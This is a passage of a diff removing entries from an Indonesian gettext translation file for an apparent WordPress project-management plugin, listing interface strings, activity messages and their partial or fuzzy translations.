src/Task/Validators/Update_Task.php:12 -msgid "Task id must be greater than zero" -msgstr "" - -#: src/Task_List/Validators/Create_Task_List.php:10 -#: src/Task_List/Validators/Update_Task_List.php:10 -msgid "Task list title is required." -msgstr "" - -#: src/Task_List/Validators/Update_Task_List.php:11 -#, fuzzy -#| msgid "Tasklist detail" -msgid "Task list id is required." -msgstr "Detail daftar tugas" - -#: src/Task_List/Validators/Update_Task_List.php:12 -msgid "Task list id must be greater than zero" -msgstr "" - -#: texts/activities.php:6 -msgid "%1$s has created a project titled as %2$s" -msgstr "" - -#: texts/activities.php:10 -msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:14 -msgid "%1$s has updated %2$s project description." -msgstr "" - -#: texts/activities.php:18 -msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:22 -msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:26 -msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:30 -msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:34 -msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:40 -msgid "%1$s has created a discussion board titled as %2$s." -msgstr "" - -#: texts/activities.php:44 -msgid "" -"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:48 -msgid "%1$s has updated the description of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:52 -msgid "%1$s has updated the order of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:58 -msgid "%1$s has created a task list titled as %2$s." -msgstr "" - -#: texts/activities.php:62 -msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:66 -msgid "%1$s has updated the description of a task list, %2$s." -msgstr "" - -#: texts/activities.php:70 -msgid "%1$s has updated the order of a task list, %2$s." -msgstr "" - -#: texts/activities.php:76 -msgid "%1$s has created a milestone, %2$s." -msgstr "" - -#: texts/activities.php:80 -msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:84 -msgid "%1$s has updated the description of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:88 -msgid "%1$s has updated the order of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:94 -msgid "%1$s has created a task, %2$s." -msgstr "" - -#: texts/activities.php:98 -msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:102 -msgid "%1$s has updated the description of a task, %2$s." -msgstr "" - -#: texts/activities.php:106 -msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:110 -msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:114 -msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:118 -msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:122 -msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:126 -msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:130 -msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:134 -msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:140 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task, %2$s." -msgstr "%s berkomentar di %s" - -#: texts/activities.php:144 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task, %2$s." -msgstr "%s memperbarui komentar di %s" - -#: texts/activities.php:148 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task, %2$s" -msgstr "%s memperbarui komentar di %s" - -#: texts/activities.php:152 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task, %2$s." -msgstr "%s memperbarui komentar di %s" - -#: texts/activities.php:158 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task list, %2$s." -msgstr "%s berkomentar di %s" - -#: texts/activities.php:162 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task list, %2$s." -msgstr "%s memperbarui komentar di %s" - -#: texts/activities.php:166 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task list, %2$s" -msgstr "%s memperbarui komentar di %s" - -#: texts/activities.php:170 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task list, %2$s." -msgstr "%s memperbarui komentar di %s" - -#: texts/activities.php:176 -msgid "%1$s has commented on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:180 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a discussion board, %2$s." -msgstr "%s memperbarui komentar di %s" - -#: texts/activities.php:184 -msgid "%1$s has replied a comment on a discussion board, %2$s" -msgstr "" - -#: texts/activities.php:188 -msgid "%1$s has updated a reply comment on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:194 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a milestone, %2$s." -msgstr "%s berkomentar di %s" - -#: texts/activities.php:198 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a milestone, %2$s." -msgstr "%s memperbarui komentar di %s" - -#: texts/activities.php:202 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a milestone, %2$s" -msgstr "%s memperbarui komentar di %s" - -#: texts/activities.php:206 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a milestone, %2$s." -msgstr "%s memperbarui komentar di %s" - -#: texts/activities.php:212 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on the project, %2$s." -msgstr "%s berkomentar di %s" - -#: texts/activities.php:216 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on the project, %2$s." -msgstr "%s memperbarui komentar di %s" - -#: texts/activities.php:220 -msgid "%1$s has replied a comment on the project, %2$s" -msgstr "" - -#: texts/activities.php:224 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on the project, %2$s." -msgstr "%s memperbarui komentar di %s" - -#: texts/activities.php:230 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a file, %2$s." -msgstr "%s berkomentar di %s" - -#: texts/activities.php:234 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a file, %2$s." -msgstr "%s memperbarui komentar di %s" - -#: texts/activities.php:238 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a file, %2$s" -msgstr "%s memperbarui komentar di %s" - -#: texts/activities.php:242 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a file, %2$s." -msgstr "%s memperbarui komentar di %s" - -#: texts/activities.php:246 -msgid "%1$s has duplicated project from , %2$s." -msgstr "" - -#: texts/resource_types.php:5 -#, fuzzy -#| msgid "Project" -msgid "project" -msgstr "Proyek" - -#: texts/resource_types.php:8 -msgid "discussion board" -msgstr "" - -#: texts/resource_types.php:11 -#, fuzzy -#| msgid "Task List" -msgid "task list" -msgstr "Daftar Tugas" - -#: texts/resource_types.php:14 -msgid "task" -msgstr "" - -#: texts/resource_types.php:17 -#, fuzzy -#| msgid "Milestone" -msgid "milestone" -msgstr "Target" - -#: texts/resource_types.php:20 -#, fuzzy -msgid "comment" -msgstr "1 Komentar" - -#: texts/resource_types.php:23 -msgid "file" -msgstr "" - -#: texts/success_messages.php:6 -msgid "A project has been created successfully." -msgstr "" - -#: texts/success_messages.php:9 -msgid "A project has been updated successfully." -msgstr "" - -#: texts/success_messages.php:12 -msgid "A project has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:16 -msgid "A category has been created successfully." -msgstr "" - -#: texts/success_messages.php:19 -msgid "A category has been updated successfully." -msgstr "" - -#: texts/success_messages.php:22 -msgid "A category has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:25 -msgid "All the selected categories has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:29 -msgid "Successfully commented." -msgstr "" - -#: texts/success_messages.php:32 -msgid "A comment has been updated successfully." -msgstr "" - -#: texts/success_messages.php:35 -msgid "A comment has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:39 -msgid "A new discussion has been created successfully." -msgstr "" - -#: texts/success_messages.php:42 -msgid "A discussion has been updated successfully." -msgstr "" - -#: texts/success_messages.php:45 -msgid "A discussion has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:49 -msgid "A new milestone has been created successfully." -msgstr "" - -#: texts/success_messages.php:52 -msgid "A milestone has been updated successfully." -msgstr "" - -#: texts/success_messages.php:55 -msgid "A milestone has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:59 -msgid "A new task list has been created successfully." -msgstr "" - -#: texts/success_messages.php:62 -msgid "Task list has been updated successfully." -msgstr "" - -#: texts/success_messages.php:65 -msgid "Task list has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:69 -msgid "A new task has been created successfully." -msgstr "" - -#: texts/success_messages.php:72 -msgid "A Task has been updated successfully." -msgstr "" - -#: texts/success_messages.php:75 -msgid "The task has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:78 -msgid "Settings has been changed successfully." -msgstr "" - -#: texts/success_messages.php:81 -#, fuzzy -#| msgid "No comments found" -msgid "No element found" -msgstr "Tidak ada komentar ditemukan" - -#: texts/success_messages.php:84 -#, fuzzy -#| msgid "No Project Found" -msgid "No Project found" -msgstr "Tidak Ada Proyek Ditemukan" - -#: texts/success_messages.php:87 -msgid "Task marked as done" -msgstr "" - -#: texts/success_messages.php:90 -msgid "Task reopened" -msgstr "" - -#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 -msgid "Every %d Minutes" -msgstr "" - -#: views/assets/js/library.js:887 views/assets/js/library.js:1099 -#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 -#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 -#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 -#: views/assets/js/pm.js:14773 -#: views/assets/src/components/categories/categories.vue:255 -#: views/assets/src/components/project-discussions/mixin.js:507 -#: views/assets/src/components/project-task-lists/list-comments.vue:111 -#: views/assets/src/components/project-task-lists/mixin.js:382 -#: views/assets/src/components/project-task-lists/mixin.js:602 -#: views/assets/src/components/project-task-lists/task-comments.vue:131 -#, fuzzy -#| msgid "Are you sure?" -msgid "Are you sure!" -msgstr "Apakah Anda yakin?" - -#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 -#: views/assets/src/helpers/mixin/mixin.js:703 -#: views/assets/vendor/mixin/mixin.js:636 -msgid "Are you sure to delete this project?" -msgstr "Apakah Anda yakin untuk mneghapus proyek ini?" - -#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 -#: views/assets/src/components/common/text-editor.vue:37 -msgid "Write a comment..." -msgstr "" - -#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 -#: views/assets/src/components/project-task-lists/single-task.vue:295 -msgid "Update Description" -msgstr "" - -#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 -#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 -#: views/assets/src/components/project-discussions/comment-form.vue:39 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 -msgid "Add New Comment" -msgstr "" - -#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 -#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 -#: views/assets/src/components/project-discussions/comment-form.vue:40 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 -#: views/emails/html/update-comment.php:12 -msgid "Update Comment" -msgstr "" - -#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 -msgid "textarea" -msgstr "" - -#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 -#: views/assets/js/pm.js:25191 -msgid "form" -msgstr "" - -#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 -#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 -#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 -#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 -#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 -#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 -#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 -#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 -#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 -#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 -#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 -#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 -#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 -#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 -#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 -#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 -#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 -#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 -#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 -#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 -#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 -#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 -#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 -#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 -#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 -#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 -#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 -#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 -#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 -#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 -#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 -#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 -#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 -#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 -#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 -#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 -#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 -msgid "div" -msgstr "" - -#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 -#: views/assets/js/pm.js:23525 -msgid "span" -msgstr "" - -#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 -#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 -#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 -#: views/assets/js/pm.js:33414 -msgid "input" -msgstr "" - -#: views/assets/js/pm.js:2326 -#: views/assets/src/components/project-milestones/mixin.js:316 -#, fuzzy -#| msgid "Are you sure to delete this message?" -msgid "Are you sure! Want to delete this milestones?" -msgstr "Apakah Anda yakin untuk menghapus pesan ini?" - -#: views/assets/js/pm.js:5999 -#: views/assets/src/components/project-discussions/mixin.js:554 -#, fuzzy -#| msgid "Are you sure to delete this project?" -msgid "Are you sure to delete this comment?" -msgstr "Apakah Anda yakin untuk mneghapus proyek ini?" - -#: views/assets/js/pm.js:9674 -#: views/assets/src/components/categories/categories.vue:23 -#: views/assets/src/components/categories/categories.vue:212 -#, fuzzy -#| msgid "Add New Message" -msgid "Add New Category" -msgstr "Tambah Pesan Baru" - -#: views/assets/js/pm.js:9793 -#: views/assets/src/components/categories/edit-category-form.vue:42 -#, fuzzy -#| msgid "Update Message" -msgid "Update Category" -msgstr "Perbarui Pesan" - -#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 -#: views/assets/src/components/common/header.vue:81 -#: views/assets/src/components/project-lists/project-summary.vue:165 -#, fuzzy -#| msgid "Project Activity" -msgid "Project Actions" -msgstr "Aktivitas Proyek" - -#: views/assets/js/pm.js:10314 -#: views/assets/src/components/common/header.vue:110 -msgid "Overview" -msgstr "" - -#: views/assets/js/pm.js:10323 -#: views/assets/src/components/common/header.vue:121 -msgid "Activities" -msgstr "" - -#: views/assets/js/pm.js:10332 -#: views/assets/src/components/common/header.vue:132 -#: views/assets/src/components/project-discussions/discussions.vue:20 -#: views/assets/src/components/project-lists/project-summary.vue:32 -#: views/assets/src/components/project-milestones/completed-milestones.vue:32 -#: views/assets/src/components/project-milestones/late-milestones.vue:39 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 -#: views/assets/src/components/project-overview/overview.vue:31 -msgid "Discussions" -msgstr "" - -#: views/assets/js/pm.js:10341 -#: views/assets/src/components/common/header.vue:143 -#: views/assets/src/components/project-lists/project-summary.vue:48 -#: views/assets/src/components/project-milestones/completed-milestones.vue:23 -#: views/assets/src/components/project-milestones/late-milestones.vue:30 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 -#: views/assets/src/components/project-overview/overview.vue:46 -#: views/assets/src/components/project-task-lists/default-list-page.vue:4 -msgid "Task Lists" -msgstr "Daftar Tugas" - -#: views/assets/js/pm.js:10350 -#: views/assets/src/components/common/header.vue:154 -#: views/assets/src/components/project-lists/project-summary.vue:78 -#: views/assets/src/components/project-milestones/milestones.vue:19 -#: views/assets/src/components/project-overview/overview.vue:97 -msgid "Milestones" -msgstr "target" - -#: views/assets/js/pm.js:10359 -#: views/assets/src/components/common/header.vue:165 -#: views/assets/src/components/project-lists/project-summary.vue:93 -#: views/assets/src/components/project-overview/overview.vue:82 -msgid "Files" -msgstr "Berkas" - -#: views/assets/js/pm.js:10975 -#: views/assets/src/components/categories/categories.vue:104 -#: views/assets/src/components/common/header.vue:10 -#: views/assets/src/components/project-discussions/discussions.vue:158 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 -msgid "Edit" -msgstr "Sunting" - -#: views/assets/js/pm.js:10976 -#: views/assets/src/components/project-discussions/discussions.vue:159 -msgid "Delete this message" -msgstr "Hapus pesan ini" - -#: views/assets/js/pm.js:10977 -#: views/assets/src/components/project-discussions/discussions.vue:160 -msgid "Make it private" -msgstr "" - -#: views/assets/js/pm.js:11351 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 -msgid "Enter message title" -msgstr "Masukkan judul pesan" - -#: views/assets/js/pm.js:11352 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 -msgid "Add Message" -msgstr "Tambah Pesan" - -#: views/assets/js/pm.js:11353 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 -msgid "Update Message" -msgstr "Perbarui Pesan" - -#: views/assets/js/pm.js:12089 -#: views/assets/src/components/project-lists/header.vue:69 -msgid "Start a new project" -msgstr "Mulai proyek baru" - -#: views/assets/js/pm.js:12190 -#: views/assets/src/components/project-lists/project-create-form.vue:87 -msgid "Name of the project" -msgstr "Nama proyek" - -#: views/assets/js/pm.js:12191 -#: views/assets/src/components/project-lists/project-create-form.vue:88 -msgid "Some details about the project (optional)" -msgstr "Detail untuk proyek (opsional)" - -#: views/assets/js/pm.js:12192 -#: views/assets/src/components/project-lists/project-create-form.vue:89 -msgid "Type 3 or more characters to search users..." -msgstr "" - -#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 -#: views/assets/src/components/project-lists/directive.js:75 -#: views/assets/src/components/project-lists/project-create-form.vue:90 -msgid "Create a new user" -msgstr "" - -#: views/assets/js/pm.js:12194 -#: views/assets/src/components/project-lists/project-create-form.vue:91 -msgid "Add New Project" -msgstr "Tambah Proyek Baru" - -#: views/assets/js/pm.js:12195 -#: views/assets/src/components/project-lists/project-create-form.vue:92 -#: views/emails/html/update-project.php:9 -msgid "Update Project" -msgstr "Perbarui Proyek" - -#: views/assets/js/pm.js:12536 -#: views/assets/src/components/project-lists/project-new-user-form.vue:43 -msgid "Create User" -msgstr "" - -#: views/assets/js/pm.js:12853 -#: views/assets/src/components/project-lists/project-view.vue:17 -msgid "List View" -msgstr "" - -#: views/assets/js/pm.js:12854 -#: views/assets/src/components/project-lists/project-view.vue:18 -msgid "Grid View" -msgstr "" - -#: views/assets/js/pm.js:12946 -#: views/assets/src/components/project-milestones/action-milestones.vue:33 -msgid "Edit Milestone" -msgstr "Sunting Target" - -#: views/assets/js/pm.js:12947 -#: views/assets/src/components/project-milestones/action-milestones.vue:34 -msgid "Delete milestone" -msgstr "Hapus target" - -#: views/assets/js/pm.js:12948 -#: views/assets/src/components/project-milestones/action-milestones.vue:35 -msgid "Mark as incomplete" -msgstr "" - -#: views/assets/js/pm.js:12949 -#: views/assets/src/components/project-milestones/action-milestones.vue:36 -msgid "Mark as complete" -msgstr "Tandai selesai" - -#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 -#: views/assets/src/components/project-task-lists/new-task-form.vue:112 -msgid "Due Date" -msgstr "" - -#: views/assets/js/pm.js:13572 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 -msgid "Milestone name" -msgstr "Nama target" - -#: views/assets/js/pm.js:13573 -#: views/assets/src/components/project-milestones/milestones.vue:24 -#: views/assets/src/components/project-milestones/milestones.vue:52 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 -msgid "Add Milestone" -msgstr "Tambah Target" - -#: views/assets/js/pm.js:13574 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 -msgid "Update Milestone" -msgstr "Perbarui Target" - -#: views/assets/js/pm.js:15560 -#: views/assets/src/components/project-task-lists/new-task-form.vue:109 -msgid "Add a new task" -msgstr "" - -#: views/assets/js/pm.js:15561 -#: views/assets/src/components/project-task-lists/new-task-form.vue:110 -msgid "Add extra details about this task (optional)" -msgstr "" - -#: views/assets/js/pm.js:15562 -#: views/assets/src/components/project-task-lists/new-task-form.vue:111 -msgid "Start Date" -msgstr "" - -#: views/assets/js/pm.js:15564 -#: views/assets/src/components/project-task-lists/new-task-form.vue:113 -msgid "Select User" -msgstr "" - -#: views/assets/js/pm.js:15565 -#: views/assets/src/components/project-task-lists/new-task-form.vue:114 -msgid "Update Task" -msgstr "" - -#: views/assets/js/pm.js:15566 -#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 -#: views/assets/src/components/project-task-lists/new-task-form.vue:115 -msgid "Add Task" -msgstr "Tambah Tugas" - -#: views/assets/js/pm.js:15567 -#: views/assets/src/components/project-task-lists/new-task-form.vue:116 -msgid "Estimated hour to complete the task" -msgstr "" - -#: views/assets/js/pm.js:15928 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 -msgid "Task list name" -msgstr "" - -#: views/assets/js/pm.js:15929 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 -msgid "Task list details" -msgstr "" - -#: views/assets/js/pm.js:15930 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 -msgid "Update List" -msgstr "Perbarui Daftar" - -#: views/assets/js/pm.js:15931 -#: views/assets/src/components/project-discussions/discussions.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 -msgid "Add List" -msgstr "Tambah Daftar" - -#: views/assets/js/pm.js:16368 -#: views/assets/src/components/project-task-lists/single-list.vue:121 -#, fuzzy -#| msgid "Delete milestone" -msgid "Delete List" -msgstr "Hapus target" - -#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 -#: views/assets/src/components/settings/email.vue:82 -#: views/assets/src/components/settings/general.vue:116 -msgid "Save Changes" -msgstr "Simpan Perubahan" - -#: views/assets/js/pm.js:18015 -#: views/assets/src/components/project-lists/directive.js:74 -msgid "No users found." -msgstr "" - -#: views/assets/js/pm.js:18540 -#: views/assets/src/components/project-overview/directive.js:9 -msgid "Activity" -msgstr "Aktivitas" - -#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 -#: views/assets/js/pm.js:31861 -msgid "ul" -msgstr "" - -#: views/assets/js/pm.js:26597 -msgid "a" -msgstr "" - -#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 -msgid "router-view" -msgstr "" - -#: views/assets/js/pm.js:33541 -msgid "svg" -msgstr "" - -#: views/assets/js/pm.js:33711 -msgid "vue-content-loading" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:27 -#: views/assets/src/components/categories/categories.vue:74 -#: views/assets/src/components/categories/categories.vue:130 -#: views/assets/src/components/categories/edit-category-form.vue:8 -msgid "Name" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:33 -#: views/assets/src/components/categories/categories.vue:79 -#: views/assets/src/components/categories/categories.vue:136 -#: views/assets/src/components/categories/edit-category-form.vue:14 -msgid "Description" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:54 -msgid "Select bulk action" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:56 -#: views/assets/src/components/categories/categories.vue:155 -msgid "Bulk Actions" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:57 -#: views/assets/src/components/categories/categories.vue:156 -#: views/assets/src/components/common/header.vue:29 -#: views/assets/src/components/project-lists/project-create-form.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:134 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 -msgid "Delete" -msgstr "Hapus" - -#: views/assets/src/components/categories/categories.vue:69 -#: views/assets/src/components/common/notify-user.vue:7 -msgid "Select all" -msgstr "Pilih semua" - -#: views/assets/src/components/categories/edit-category-form.vue:5 -msgid "Quick Edit" -msgstr "" - -#: views/assets/src/components/categories/edit-category-form.vue:23 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 -#: views/assets/src/components/project-lists/project-create-form.vue:57 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 -#: views/assets/src/components/project-task-lists/new-task-form.vue:51 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 -msgid "Cancel" -msgstr "Kembali" - -#: views/assets/src/components/common/color-picker.vue:9 -#, fuzzy -#| msgid "Select all" -msgid "Select Color" -msgstr "Pilih semua" - -#: views/assets/src/components/common/color-picker.vue:25 -msgid "Clear" -msgstr "" - -#: views/assets/src/components/common/color-picker.vue:31 -msgid "Close" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:10 -msgid "Delete File" -msgstr "Hapus Berkas" - -#: views/assets/src/components/common/file-uploader.vue:16 -msgid "To attach" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:17 -msgid "select files" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:18 -msgid "from your computer." -msgstr "" - -#: views/assets/src/components/common/header.vue:17 -#: views/assets/src/components/project-lists/project-header-menu.vue:13 -#: views/assets/src/components/project-task-lists/lists.vue:92 -msgid "Completed" -msgstr "Selesai" - -#: views/assets/src/components/common/header.vue:18 -#: views/assets/src/components/project-task-lists/lists.vue:102 -msgid "Incomplete" -msgstr "" - -#: views/assets/src/components/common/header.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:141 -msgid "Complete" -msgstr "" - -#: views/assets/src/components/common/header.vue:39 -#: views/assets/src/components/project-lists/project-summary.vue:144 -msgid "Restore" -msgstr "" - -#: views/assets/src/components/common/notify-user.vue:4 -msgid "Notify users" -msgstr "Informasikan pengguna" - -#: views/assets/src/components/project-activities/activities.vue:46 -#, fuzzy -#| msgid "Load More..." -msgid "Load More ..." -msgstr "Muat Lebih Banyak..." - -#: views/assets/src/components/project-activities/activities.vue:48 -msgid "No activity fount" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:23 -msgid "" -"Use our built in discussion panel to create an open discussion, a group " -"discussion or a private conversation. Note that the Admin can always " -"moderate these discussions." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:27 -#: views/assets/src/components/project-discussions/discussions.vue:54 -msgid "Add New Discussion" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:32 -#: views/assets/src/components/project-discussions/discussions.vue:59 -msgid "Create a new message" -msgstr "Buat sebuah pesan baru" - -#: views/assets/src/components/project-discussions/discussions.vue:38 -msgid "When to use Discussions?" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:41 -msgid "To discuss a work matter privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:42 -msgid "To exchange files privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:43 -msgid "To discuss in a group." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:44 -msgid "To create an open discussion visible to all." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:68 -msgid "Discussion List" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:84 -#: views/assets/src/components/project-discussions/individual-discussions.vue:32 -#: views/assets/src/components/project-task-lists/list-comments.vue:15 -#: views/assets/src/components/project-task-lists/task-comments.vue:15 -#, fuzzy -#| msgid "Body" -msgid "By" -msgstr "Isi" - -#: views/assets/src/components/project-discussions/discussions.vue:88 -#: views/assets/src/components/project-discussions/individual-discussions.vue:35 -#: views/assets/src/components/project-discussions/individual-discussions.vue:77 -#: views/assets/src/components/project-task-lists/list-comments.vue:22 -#: views/assets/src/components/project-task-lists/task-comments.vue:21 -msgid "on" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:110 -#: 